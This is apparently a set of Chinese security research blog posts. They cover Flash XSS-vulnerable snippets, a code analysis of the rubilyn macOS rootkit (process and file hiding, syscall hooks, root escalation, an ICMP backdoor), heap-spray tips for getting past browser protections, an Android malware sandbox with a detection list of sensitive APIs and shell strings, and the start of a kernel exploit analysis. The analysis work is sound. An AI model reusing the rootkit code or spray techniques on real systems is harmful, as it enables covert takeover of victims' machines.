若干flash xss漏洞分析

漏洞一

1
2
3
4
5
6
7
8
9
Parameters.getInstance().data = loaderInfo.parameters;

public function get onPlayStart():String{
return (_data["onPlayStart"]);
}

ExternalInterface.call(Parameters.getInstance().onPlayStart, _arg1);
ExternalInterface.call(Parameters.getInstance().onPlayStop);
ExternalInterface.call(Parameters.getInstance().onFileLoadedError);

漏洞二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function reload(u, show_loading) {

if (show_loading == undefined) {
show_loading = true;
}

if (show_loading) {
_root.loading = new Loading("Loading data...");
}

var _local2 = "";

if (_root.data != undefined) {
_local2 = _root.data;
}

if (u != undefined) {
if (u.length > 0) {
_local2 = u;
}
}

_root.lv = undefined;
_root.lv = new LoadVars();
_root.lv.onLoad = LoadVarsOnLoad;
_root.lv.make_chart = make_chart;
_root.lv.make_pie = make_pie;
_root.lv.load(_local2);
}

漏洞三

1
2
var csPreloader;
loader.loadClip(csPreloader, preloader_mc.target);

漏洞四

1
2
3
4
this.loadXML(file);
function init(file, ploader, bookmark, contentpath)
container.init(csConfigFile, preloader_mc, csFilesetBookmark, contentpath);
var csConfigFile;

漏洞五

1
2
3
4
5
6
7
8
9
10
11
12
13
    getURL(_loc2, this.playList.currentClip().getLinkWindow());
var _loc2 = this.playList.currentClip().getLinkURL();

_loc1.getLinkURL = function ()
{
return (this.linkUrl);
};

var _loc1 = (_global.org.flowplayer.playlist.Clip = function (name, baseUrl, fileName, start, end, protected, enableControl, linkUrl, linkWindow, type, allowResize, overlayFileName, overlayId, live, showOnLoadBegin, maxPlayCount, info, thumbnailUrl, suggestedClipsInfoUrl, id, keywords)

{
this.linkUrl = linkUrl;

漏洞六

1
2
3
4
5
6
7
8
9
10
     this.textField.htmlText = ['', content, ''].join('');

_global.sIFR = function (textField, content)
{ ……
this.write(content);
……
}

sIFR.instance = new sIFR(_loc3.txtF, _loc4);
_loc4 = sIFR.VERSION_WARNING.split("%s").join(_root.version);

漏洞七

1
2
this._setVar("_onClick", [_root.onclick, pConfig.onclick], "String");
getURL(this._onClick, this._onClickTarget);

自动化检测脚本

顺手写了个简单的检测已知漏洞的flash xss检测脚本,下载地址见 FlashScanner



Mac OSX rootkit rubilyn 源码分析

1、隐藏进程

在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在进行的进程,下面是rubilyn中关于隐藏进程的代码,但目测通过ps -p pid 仍可列出进程,因为它并没有移除进程hash列表pidhashtbl中相关的进程信息,导致可通过pid查找到进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* modify allproc to hide a specific pid */
static int hideproc(int pid)
{
struct proc* p;
if(pid!=0){
// lh.first 指向allproc链表中的第1个元素,而p_list.le_next指向下个proc结构
for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)
{
if(pid == p->p_pid)
{
if(hidden_p_count < MAX_HIDDEN_PROCESS)
{
hidden_p[hidden_p_count]=p;
hidden_p_count++;
my_proc_list_lock();
LIST_REMOVE(p, p_list); // 移除p_list结构中关于p进程的元素
my_proc_list_unlock();
}
}
}
}
return 0;
}

2、隐藏文件

为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况, calltrace.d 脚本内容如下:

1
2
3
4
5
6
7
8
9
riusksk@macosx:/usr/include/sys$ cat ~/Reverse\ engineering/Dtrace/calltrace.d 
pid$target:::entry
{
;
}
pid$target:::return
{
printf("=%d\n", arg1);
}

下面是查看finder进程2841的调用函数:

1
2
3
4
5
riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes

2 1078881 getdirentriesattr:entry
2 1363229 getdirentriesattr:return =1

下面是ls命令(64位系统)调用的函数:

1
2
3
4
5
6
7
riusksk@macosx:~$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -c ls | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 28745 probes
dtrace: pid 3184 has exited
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =1980
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =0

因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:

1
2
3
4
5
6
7
8
9
10
struct sysent { /* system call table */
int16_t sy_narg; /* number of args */
int8_t sy_resv; /* reserved */
int8_t sy_flags; /* flags */
sy_call_t *sy_call; /* implementing function */
sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */
sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */
int32_t sy_return_type; /* system call return types */
uint16_t sy_arg_bytes; /* Total size of arguments in bytes for* 32-bit system calls */
};

为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:

1
2
3
4
5
riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir

#define SYS_getdirentries 196
#define SYS_getdirentriesattr 222
#define SYS_getdirentries64 344

下面是rubilyn中对系统调用函数getdirentries64 和 getdirentriesattr的挂钩代码,将这两个函数替换为自定义的 new_getdirentries64 和 new_getdirentriesattr ,同时保存原函数地址方便获取目录信息并进行篡改:

1
2
3
4
5
6
7
8
9
if(nsysent){
table = find_sysent();
if(table){
/* back up original syscall pointers */
org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call; // 保存原系统函数地址
org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call;
/* replace syscalls in syscall table */
table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64; // 替换原系统函数
table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;

两个替换函数执行的操作有点类似,主要是移除指定文件的dirent结构,其中dirent结构原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct dirent {
__uint32_t d_fileno; // 节点号
__uint16_t d_reclen; // 目录项长度
__uint8_t d_type; // 文件类型
__uint8_t d_namlen; // 文件名
#if __BSD_VISIBLE
#define MAXNAMLEN 255
char d_name[MAXNAMLEN+1]; // 文件名
#else
char d_name[255+1]; // 文件名
#endif
}

此处我们只看下 new_getdirentries64 函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/* hooked getdirentries64 and friends */
register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)
{
int ret;
u_int64_t bcount = 0;
u_int64_t btot = 0;
size_t buffersize = 0;
struct direntry *dirp;
void *mem = NULL;
int updated = 0;
ret = org_getdirentries64(p,uap,retval); // 调用原函数获取目录信息
btot = buffersize = bcount = *retval; // 函数返回的字节数
if(bcount > 0)
{
MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK); // 在内核空间分配bcount大小的内存
if(mem == NULL)
return(ret);
copyin(uap->buf, mem, bcount); // 将用户空间数据拷贝到刚分配的内核空间
dirp = mem;
while(bcount > 0 && dirp->d_reclen > 0)
{
if(dirp->d_reclen > 7)
// 搜索指定文件名
if(strncmp(dirp->d_name,(char*)&k_dir,strlen((char*)&k_dir)) == 0)
{
char *next = (char *) dirp + dirp->d_reclen; // 下一目录项
u_int64_t offset = (char *) next - (char *) mem ; // 当前文件目录项大小
bcount -= dirp->d_reclen; // 递减字节数
btot -= dirp->d_reclen; // 递减目录项长度
bcopy(next,dirp,buffersize - offset); // 覆盖指定文件的目录项,从而实现文件隐藏
updated = 1;
continue;
}
bcount -= dirp->d_reclen;
dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen);
}
if(updated == 1)
{
copyout(mem,uap->buf,btot); // 将修改后的数据返回给用户空间
*retval = btot;
}
FREE(mem,M_TEMP); // 释放内核内存
}
return ret;
}

3、设置Root进程

先通过pid获取进程proc结构,然后更改其中进程属主字段p_ucred为0,即root属主。源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int getroot(int pid)
{
struct proc *rootpid;
kauth_cred_t creds;
rootpid = proc_find(pid);
if(!rootpid)
return 0;
lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock); // 设置互斥锁
creds = rootpid->p_ucred; // 进程属主
creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0); // 设置进程属主id为0(root)
rootpid->p_ucred = creds;
lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock); // 解锁
return 0;
}

4、隐藏网络端口、用户名和内核模块

通过对write_nocancel函数挂钩,然后对 grep、sysctl、netstat、kextstat、w和who等命令的输出结果进行过滤,当命令输出结果中包含rubilyn模块名以及特写端口和用户名时就直接返回,否则就调用原始的write_nocanel函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* hooked write_nocancel for hiding console stuff */
int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t* retval)
{
char buffer[MAXBUFFER];
if(strncmp(p->p_comm, grep, strlen(p->p_comm))==0||strncmp(p->p_comm, sysctl,strlen(p->p_comm))==0||
strncmp(p->p_comm, kextstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, rubilyn))
return(uap->nbyte);
}
if(strncmp(p->p_comm, netstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_port))
return(uap->nbyte);
}
if((strncmp(p->p_comm,w,strlen(p->p_comm))==0||strncmp(p->p_comm,who,strlen(p->p_comm))==0))
{
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_user))
return(uap->nbyte);
}
return org_write_nocancel(p,uap,retval);
}

5、设置ICMP 后门

首先添加IPv4过滤器ip_filter_ipv4:

1
2
3
4
5
6
7
8
9
10
11
 /* install IPv4 filter hook */
ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref);

ip_filter_ipv4结构如下:

static struct ipf_filter ip_filter_ipv4 = {
.name = "rubilyn",
.ipf_input = ipf_input,
.ipf_output = ipf_output,
.ipf_detach = ipf_detach,
};

当传给用户的ICMP数据包中包含有以下特定数据时就以root权限执行命令:

1
2
3
4
5
/* ICMP backdoor configuration */
#define MAGIC_ICMP_TYPE 0
#define MAGIC_ICMP_CODE 255 /* xor'd magic word*/
#define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e" // 解密后为“n0mn0mn0m”
#define MAGIC_ICMP_STR_LEN 9

ipf_input主要处理传给用户的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol)
{
char buf[IP_BUF_SIZE];
struct icmp *icmp;
if (!(data && *data))
return 0;
if (protocol != IPPROTO_ICMP)
return 0;
mbuf_copydata(*data, offset, IP_BUF_SIZE, buf);
icmp = (struct icmp *)&buf;
// 检测接收的icmp数据包中是否包含后门的特征数据,若是则调用KUNCExecute函数执行命令
if(icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp(icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0)
{
my_KUNCExecute((char*)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath);
}
return 0;
}

rubilyn还有个命令行控制台rubilyncon,通过输入参数选项来执行上面某项功能,主要都是通过sysctl控制内核变量来招待相应函数,这些内核变量都是在rubilyn中用sysctl注册的,通过这些内核变量可从用户层直接与rubilyn内核扩展进行交互来执行恶意操作。

Heap Spray 技术要点

1、堆喷射堆块大小 ≈ 程序堆块分配大小,以减小堆空隙大小。

2、不能使用堆缓存块,否则可能破坏地址的可预测性,可通过申请6块相应大小的堆块来清空缓存。

3、精确定位ROP地址,目标地址如0x0c0c0c0c至堆块数据起始地址的offset = ( 0x0c0c0c0c - UserPtr(堆数据起始地址))/2,IE7:0x5FA,IE8:0x5F4/0x5F6,IE9:0x5FC/0x5FE,Firefox9:0x606,可能不同语言版本会存在偏差。

4、不同系统、不同浏览器版本喷射块大小:

1
2
3
4
5
6
7
XP SP3 – IE7    block = shellcode.substring(2,0x10000-0×21);
XP SP3 – IE8 block = shellcode.substring(2, 0x40000-0×21);
Vista SP2 – IE7 block = shellcode.substring(0, (0x40000-6)/2);
Vista SP2 – IE8 block = shellcode.substring(0, (0x40000-6)/2);
Win7 – IE8 block = shellcode.substring(0, (0x80000-6)/2);
Vista/Win7 – IE9 block = shellcode.substring(0, (0x40000-6)/2);
XP SP3/VISTA SP2/WIN7 - Firefox9 block = shellcode.substring(0, (0x40000-6)/2);

5、Nozzle保护机制(IE):检测是否存在重复可转换成汇编代码的字段,若存在则阻止其内存申请。

6、BuBBle保护机制(Firefox):检测JavaScript是否尝试重复申请 NOPs + shellcode (padding + rop chain + shellcode + padding)的内存块,若发现包含这些字段则阻止其内存申请。

7、分配 随机数 + rop + shellcode + 随机数 的堆块,以保证各分配块都是不同的,以此绕过上述保护机制,主要针对IE9。

8、利用随机变量名 + 随机块绕过 Firefox9 的保护。

9、HTML5 Heap Spray:EUSecWest2012上的演讲主题,通杀Chrome、Firefox、IE9和Safari
a、利用canvas标签定义图形,通过脚本控制每个像素的数据再进行喷射;
b、利用Web Worker的多线程功能,加速堆喷射过程,但IE不支持Worker.

Android恶意软件沙盒自动化分析原理与实现

【作者】:riusksk(泉哥)
【团队】:腾讯安全应急响应中心
【日期】:2012年10月2日

一、 前言

据网秦发布的《2012年上半年全球手机安全报告》,2012年上半年Android病毒感染量增长迅猛,尤以5、6月最为突出,上半年感染手机1283万部,比2011年下半年增长62%。在全球范围内,中国大陆地区被感染率占居首位。面对增长如此迅速的Android软件,安全研究人员常常需要逆向分析样本,分析出其恶意行为,但手工分析较费时间。在DEX文件反混淆技术的不遍推广和普及下,比如今年的BlackHat就有DEX反混淆的专题及相应工具公布,现在已有很多恶意软件使用到这些反混淆技术,这就加大了样本分析的难度及所花费的时间。本文主要讲述如何利用Android沙盘实现自动化分析恶意软件的方法,其中介绍了Android沙盘的原理,以及由笔者编写的Android沙盘——MalDroidAnalyzer,后面会提供由MalDroidAnalyzer分析真实病毒时自动生成的分析报告。

二、 Android常见恶意软件行为

1、 恶意扣费

病毒在后台发送扣费短信、拔打电话进行恶意扣费,同时会对服务商发回的服务短信进行屏蔽,破坏系统的正常功能,同时对用户造成资费损失。

2、隐私窃取

病毒通过后台服务窃取用户隐私信息,包括通话录音、短信内容、IMEI、IMSI、地理位置、通讯录、浏览器历史记录等信息,然后上传到黑客控制的远程服务器。

3、远程控制

病毒在后台开机自动,并与C&C服务器进行通讯,并从中获取加密的指令,解密后执行相应的恶意操作,也有通过SMS进行控制,构造出botnet,从而大规模地远程控制用户的手机。比如之前著名的AnserverBot病毒,就是通过新浪博客进行远程控制,也是首个利用第三方站点作为C&C服务器的Android病毒。

4、系统破坏

病毒通过系统漏洞进行ROOT提权,并执行高权限操作,在后台静默安装子程序包,或者通过伪造成杀毒软件、提示更新等方式欺骗用户安装第三方恶意程序。病毒可能会更改网络状态、APN,或者替换系统文件、添加恶意书签、屏蔽运营商短信、中止杀软进程等方式进行系统破坏。

5、其它

病毒在后台联网下载大量软件,消耗用户手机流量,或者执行一些比较耗电的操作来消耗手机电量,进而影响正常的手机通信。也有些一些病毒通过钓鱼欺骗等方式,诱骗用户下载伪装软件,导致帐户密码失窃。

三、 Android沙盘原理

本文主要介绍一款Android恶意软件行为自动分析平台——MalDroidAnalyzer,其主要结合静态分析和动态分析技术来实现恶意软件行为自动化分析。MalDroidAnalyzer是笔者使用Perl语言编写的,用于辅助分析Android软件行为,提高恶意软件的分析效率。

首先,MalDroidAnalyzer直接以apk文件作为输入,整个分析过程主要分析两部分:静态分析和动态分析。静态分析会通过反编译apk文件,分析其中的权限、组件、敏感函数等信息,这些可以弥补动态分析中因未触发恶意行为而漏掉的行为。动态分析主要通过在模拟器运行Android软件,然后再对软件进行一些操作以触发尽可能多的恶意行为,接着输出到log中,再通过脚本对日志进行分析。由于Android系统默认情况下,一些输出日志里面缺乏我们所需的信息,比如发送短信时,只在log中记录手机号,而没有短信内容,此时就需要通过修改Android源码或者反汇编system.img中的相关类或者库进行修改,可以在短信发送函数sendTextMessage(位于system.img中的framework/framework.jar)里面添加短信内容的日志输出:

下面是可能需要修改的相关文件,包括源码位置和编译后所对应的相关文件,可根据自身需要进行修改:

1
2
3
4
5
6
7
发送短信:android.telephony.SmsManager(system.img中的framework/framework.jar)
文件操作:org.apache.harmony.luni.platform.OSFileSystem(system.img中的framework/core.jar)
网络操作:org.apache.harmony.luni.platform.OSNetworkSystem(system.img中的framework/core.jar)
拔打电话:android.app.Activity(system.img中的framework/framework.jar)
启动服务:android.content.ContextWrapper(system.img中的framework/framework.jar)
数据加解密:javax.crypto.Cipher(system.img中的framework/core.jar)
核心库:dalvik/vm/native(system.img中的lib/libdvm.so)

关于apk文件及MalDroidAnalyzer的工作流程如下图所示:

1、静态分析

沙盘MalDroidAnalyzer主要在电脑端对APK进行静态分析,通过apktool先进行反编译处理。正常的APK文件主要是以zip格式进行压缩捆绑的文档,里面主要包含AndroidManifest.xml、Classes.dex和res等文件。在反编译后会得到明文的AndroidManifest.xml,里面定义各组件、组件权限和启动位置、软件基本信息等,通过对该xml文件的分析,可以获取到软件名称、包名等基本信息,同时对包含的各个组件进行分析,特别是Broadcast Receiver组件的触发条件,可能就包含有开机自启动项用于启动后台服务,这些在报告中都会被高亮显示出来。

在动态分析过程中,可能由于恶意行为的时间限制,或者模拟器的功能限制(比如蓝牙、Wifi),导致病毒的一些恶意行为无法触发。此时,我们通过检测Android软件调用的API函数可弥补这里的不足,比如发送扣费短信通常会调用sendTextMessage()函数,执行外部命令可能会调用java.lang.Runtime.exec()。下面是笔者收集整理的一些敏感API函数列表,欢迎各位读者补充和改进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
my %apis = (
"IActivityManager\$Stub\$Proxy\;\-\>shutdown" => '关机',
"ActivityManager\;\-\>killBackgroundProcesses" => '中断进程,可用于关闭杀软',
'ActivityManagerNative;->killBackgroundProcesses' => '中断进程,可用于关闭杀软',
'ActivityManagerNative;->restartPackage' => ' 中断进程,可用于关闭杀软',
'ActivityManager;->restartPackage' => ' 中断进程,可用于关闭杀软',
#"BluetoothAdapter\;\-\>enable" => '开启蓝牙',
#"BluetoothSocket\;\-\>connect" => '连接蓝牙',
#"IBluetoothPbap\$Stub\$Proxy\;\-\>connect" => '连接蓝牙',
"ContentResolver\;\-\>query" => '读取联系人、短信等数据库',
"ContentService\;\-\>dump" => '转储联系人、短信等信息',
"PackageManager\;\-\>installPackage" => '安装apk包',
"Camera\;\-\>open" => '开启相机',
"MediaRecorder\;\-\>setAudioSource" => '开启录音功能',
"MediaRecorder\;\-\>setVideoSource" => '开启视频录制',
"LocationManager\;\-\>getLastKnownLocation" => '获取地址位置',
"Downloads\$ByUri\;\-\>startDownloadByUri" => '下载文件',
"Downloads\$DownloadBase\;\-\>startDownloadByUri" => '下载文件',
"PowerManager\;\-\>reboot" => '重启手机',
"Settings\$Bookmarks\;\-\>add" => '添加浏览器书签',
"TelephonyManager\;\-\>getDeviceId" => '搜集用户手机IMEI码、电话号码、系统版本号等信息',
"TelephonyManager\;\-\>getSimSerialNumber()" => '获取SIM序列号',
"Telephony\$Mms\;\-\>query" => '读取短信',
"TelephonyManager\;\-\>getLine1Number" => '获取手机号',
"SpeechRecognizer\;\-\>startListening" => '开启麦克风',
"WifiManager\;\-\>setWifiEnabled" => '开启WIFI',
"SmsManager\;\-\>getAllMessagesFromSim" => '获取sim卡上的短信',
"SmsManager\;\-\>sendDataMessage" => '发送二进制消息',
"SmsManager\;\-\>sendMultipartTextMessage" => '发送彩信',
"SmsManager\;\-\>sendTextMessage" => '发送普通短信',
#"http/multipart/FilePart;->sendData" => '发送http请求',
#"http/multipart/Part\;\-\>send" => '发送http请求',
#"http/multipart/Part\;\-\>sendParts" => '发送http请求',
#"http/multipart/StringPart\;\-\>sendData" => '发送http请求',
"internal/telephony/ISms\$Stub\$Proxy\;\-\>sendData" => '发送短信',
"internal/telephony/ISms\$Stub\$Proxy\;\-\>sendMultipartText" => '发送短信',
"internal/telephony/ISms\$Stub\$Proxy\;\-\>sendText" => '发送短信',
"internal/telephony/ITelephony\$Stub\$Proxy\;\-\>call" => '拔打电话',
"java/lang/Runtime\;\-\>exec" => '执行字符串命令',
"java/net/HttpURLConnection\;\-\>connect" => '连接URL',
#"java/net/URL\;\-\>getContent" => '获取网页内容',
"java/net/URL\;\-\>openConnection" => '连接URL',
"java/net/URLConnection\;\-\>connect" => '连接URL',
"DefaultHttpClient\;\-\>execute" => '发送HTTP请求',
"HttpClient\;\-\>execute" => '请求远程服务器', 'android/app/NotificationManager;->notify' => '信息通知栏',
"SmsReceiver\;\-\>abortBroadcast" => '拦截短信接收',
"ContentResolver\;\-\>delete" => '删除短信、联系人',
"chmod " => '更改文件权限',
"getRuntime" => '获取命令行环境',
#'content://telephony/carriers' => '获取所有的APN(网络接入点)配置信息',
'content://telephony/carriers/preferapn' => '可能用于篡改APN(网络接入点)以调用应用市场M-Market扣费接口并验证',
'content://sms' => '获取短信数据库',
'content://browser/bookmarks' => '获取浏览器书签',
'mount -o remount' => '重新挂载档案系统',
'/system/bin/sh' => '执行shell',
'/proc/mounts' => '加载文件系统',
'/system/bin/cp' => '复制文件',
'/root/su' => '切换用户',
'/system/bin/rm ' => '删除文件',
);

2、动态分析

动态分析是Android沙盘的主要功能,主要使用Google Android模拟器作为沙盘环境,同时以前面修改过的system.img来启动模拟器,以在操作过程中生成我们所需的日志信息:

1
system('start emulator -avd MalDroidAnalyzer -scale 0.8  -system images/root-system.img -ramdisk images/ramdisk.img -kernel images/zImage  -prop dalvik.vm.execution-mode=int:portable &');

这里的root-system.img是经过root的,默认情况下,Android模拟器是没有root权限的,需要自己手工修改,这个可通过YAFFS2 img浏览器来修改system.img,将su和superuser放置到系统应用目录下,并将build.prop中的ro.config.nocheckin=yes注释掉,将修改后的system.img替换原文件即可。。这样在一些需要root权限的病毒才能正常地模拟器运行,以触发更多的恶意行为。

启动模拟器后,利用adb安装APK到模拟器上。业界多数沙盘是通过monkey去自动操作软件以触发恶意行为,但这种做法过于盲目,不容易触发恶意行为,同时当操作过于频繁时容易导致程序崩溃,因此在MalDroidAnalyzer中选择由用户自主手工操作,操作时间由用户自己把握。手工操作可能更有利于触发恶意行为,因为病毒作者通常会更多地依赖用户的操作习惯来触发恶意行为,比如点击、拔打电话等行为。
为了避免生成过多的无用日志,因此在使用logcat命令时可提前过滤下,并输出到log.txt文件:

1
system("adb logcat -v time ActivityManager:I camera:V AudioHardware:D Telephony:V CallNotifier:D su:D MediaProvider:V videocamera:V BluetoothEnabler:V BluetoothHIDService:I dalvikvm:W *:S  > log.txt");

最后对生成的日志log.txt进行分析,由于修改过system.img,它会按照json格式输出我们所需的信息,而有些原本Android系统输出的日志可直接拿来作行为检测,就未作修改。日志格式如下:

1
2
3
4
5
6
7
09-16 10:18:04.583 W/dalvikvm(  299): MalDroid: { "DexClassLoader": { "path": "/data/data/com.test/files/anserverb.db" } }
09-16 10:17:27.963 W/dalvikvm( 281): MalDroid: { "SendNet": { "desthost": "www.google.com", "destport": "80", "data": "7b2263656c6c5f746f77657273223a5b7b226d6f62696c655f6e6574776f726b5f636f6465223a32362c226c6f636174696f6e5f617265615f636f6465223a2d312c226d6f62696c655f636f756e7472795f636f6465223a3331302c2263656c6c5f6964223a2d317d5d2c22726571756573745f61646472657373223a747275652c22686f7374223a226d6170732e676f6f676c652e636f6d222c2276657273696f6e223a22312e312e30227d" } }
09-09 08:37:10.371 W/dalvikvm( 191): MalDroid: { "CryptoUsage": { "operation": "keyalgo", "key": "53, 52, 67, 68, 65, 48, 54, 51, 67, 68, 53, 56, 68, 56, 53, 70", "algorithm": "AES" } }
09-09 08:37:12.560 W/dalvikvm( 191): MalDroid: { "CryptoUsage": { "operation": "encryption", "algorithm": "AES/CBC/PKCS5Padding", "data": "ylmftg6" } }
09-17 20:17:14.302 W/dalvikvm( 274): MalDroid: { "ServiceStart": { "name": "com.android.md5.Settings" } }
09-17 20:24:24.944 W/dalvikvm( 126): MalDroid: { "FdAccess": { "path": "2f646174612f646174612f636f6d2e616e64726f69642e6c61756e636865722f66696c65732f6c61756e636865722e707265666572656e636573", "id": "588716465" } }
09-17 20:24:24.965 W/dalvikvm( 126): MalDroid: { "FileRW": { "operation": "read", "data": "0005", "id": "588716465" } }

生成日志后,MalDroidAnalyzer会去分析日志,生成统计图数据,然后生成报告。下面是一些真实病毒样本的恶意行为记录:

1、窃取通讯录:

2、通话录音:

3、发送收费短信:

4、动态加载类文件:

5、Root提权:

四、 真实案例

在Google Android官方市场上,曾出现过多起应用程序嵌入恶意代码的事件,比如“功夫病毒”,可进行root提权,并破坏文件系统,同时窃取用户隐私信息,感染了上百万用户,危害甚广。病毒作者通过对知名软件进行修改,嵌入恶意代码然后重打包,然后诱骗用户下载这些伪造软件。除“功夫病毒”外,还有DroidDream、AnserverBot、PhoneSpy等恶意软件。下面是MalDroidAnalyzer针对PhoneSpy病毒Gmail.apk给出的分析报告,该病毒会窃取用户隐私信息、通话录音等恶意行为。由于该病毒无GUI界面,而是以后台服务在运行,因此报告中的截图是主页界面:




五、 总结

当前手机用户量增长越来越快,尤其是中国,手机用户量已超10亿,即大约75%的中国人拥有自己的手机。正因为手机越来越智能化,携带也方便,因此许多人将隐私信息存储在手机上,且在多处场景下无形地公开化,而这些信息正是许多病毒作者所热衷的。在移动终端上的安全也将比电脑终端越来越重要,移动安全也已成为安全领域的另一新战场。

六、 鸣谢

感谢Dflower同学(0day2作者之一)在笔者编写MalDroidAnalyzer过程中给予的帮助。

七、 参考资料

1、 DroidBox:http://code.google.com/p/droidbox
2、 SandDroid:http://sanddroid.xjtu.edu.cn
3、 apktool:http://code.google.com/p/android-apktool
4、 网秦《2012年上半年全球手机安全报告》:http://cn.nq.com/neirong/2012shang.pdf
5、 Android权限中文描述大全:http://wenku.baidu.com/view/b1f6f9ff0242a8956bece4e7.html
6、 Android Permission Map:http://www.android-permissions.org/permissionmap.html

ExploitMe内核漏洞分析与利用

0x01 漏洞分析:

用工具加载驱动后,开启windbg进行内核调试,先找到驱动的IoControlCode数值,由于笔者在编译时是采用test.sys作为文件名,因此使用!drvobj test 这样的命令,但源码依然是经漏洞分析技术第二版样章上的代码而修改编译的,执行命令后结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kd> !drvobj test 2
Driver object (825cef38) is for:
\Driver\test
DriverEntry: f9032885 test
DriverStartIo: 00000000
DriverUnload: f90324a0 test
AddDevice: 00000000

Dispatch routines:
[00] IRP_MJ_CREATE f90324c0 test+0x4c0
[01] IRP_MJ_CREATE_NAMED_PIPE f90324c0 test+0x4c0
[02] IRP_MJ_CLOSE f90324c0 test+0x4c0
[03] IRP_MJ_READ f90324c0 test+0x4c0
[04] IRP_MJ_WRITE f90324c0 test+0x4c0
[05] IRP_MJ_QUERY_INFORMATION f90324c0 test+0x4c0
[06] IRP_MJ_SET_INFORMATION f90324c0 test+0x4c0
[07] IRP_MJ_QUERY_EA f90324c0 test+0x4c0
[08] IRP_MJ_SET_EA f90324c0 test+0x4c0
[09] IRP_MJ_FLUSH_BUFFERS f90324c0 test+0x4c0
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION f90324c0 test+0x4c0
[0b] IRP_MJ_SET_VOLUME_INFORMATION f90324c0 test+0x4c0
[0c] IRP_MJ_DIRECTORY_CONTROL f90324c0 test+0x4c0
[0d] IRP_MJ_FILE_SYSTEM_CONTROL f90324c0 test+0x4c0
[0e] IRP_MJ_DEVICE_CONTROL f90324c0 test+0x4c0
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL f90324c0 test+0x4c0
[10] IRP_MJ_SHUTDOWN f90324c0 test+0x4c0
[11] IRP_MJ_LOCK_CONTROL f90324c0 test+0x4c0
[12] IRP_MJ_CLEANUP f90324c0 test+0x4c0
[13] IRP_MJ_CREATE_MAILSLOT f90324c0 test+0x4c0
[14] IRP_MJ_QUERY_SECURITY f90324c0 test+0x4c0
[15] IRP_MJ_SET_SECURITY f90324c0 test+0x4c0
[16] IRP_MJ_POWER f90324c0 test+0x4c0
[17] IRP_MJ_SYSTEM_CONTROL f90324c0 test+0x4c0
[18] IRP_MJ_DEVICE_CHANGE f90324c0 test+0x4c0
[19] IRP_MJ_QUERY_QUOTA f90324c0 test+0x4c0
[1a] IRP_MJ_SET_QUOTA f90324c0 test+0x4c0
[1b] IRP_MJ_PNP 804fb8a6 nt!IopInvalidDeviceRequest

